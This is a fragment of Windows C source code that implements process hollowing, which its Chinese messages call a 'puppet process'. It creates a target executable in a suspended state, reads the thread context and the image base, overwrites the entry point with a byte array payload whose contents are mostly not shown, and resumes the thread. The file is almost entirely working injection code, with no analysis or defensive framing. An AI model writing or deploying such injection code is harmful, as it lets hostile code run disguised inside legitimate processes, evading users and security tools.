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,0x00 ,0x00 ,0x00 };
int main()
{
if (ReplacProcess("C:\\Users\\Tophanter\\Desktop\\ConsoleApplication1.exe") == TRUE) {
printf("傀儡进程成功\n");
}
else {
printf("失败\n");
}
return 0;
}
BOOL ReplacProcess(char* pszFilePath)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
CONTEXT threadContext = { 0 };
RtlZeroMemory(&si, sizeof(si));
RtlZeroMemory(&pi, sizeof(pi));
RtlZeroMemory(&threadContext, sizeof(threadContext));
si.cb = sizeof(STARTUPINFO);
BOOL Flag = FALSE;
Flag = CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if (Flag == FALSE) {
printf("创建挂起进程失败\n");
return FALSE;
}
threadContext.ContextFlags = CONTEXT_FULL;
Flag = GetThreadContext(pi.hThread, &threadContext);
if (Flag == FALSE) {
printf("获取线程上下文失败\n");
return FALSE;
}
LPVOID lpBuffer = 0;
Flag = ReadProcessMemory(pi.hProcess, (LPVOID)(threadContext.Ebx + 0x8), &lpBuffer, 4, NULL);
if (Flag == FALSE) {
printf("读取内存数据失败\n");
return FALSE;
}
Flag = WriteProcessMemory(pi.hProcess, (LPVOID)threadContext.Eax, data, sizeof(data), NULL);
if (Flag == FALSE) {
printf("写入数据失败\n");
return FALSE;
}
ResumeThread(pi.hThread);
return TRUE;
}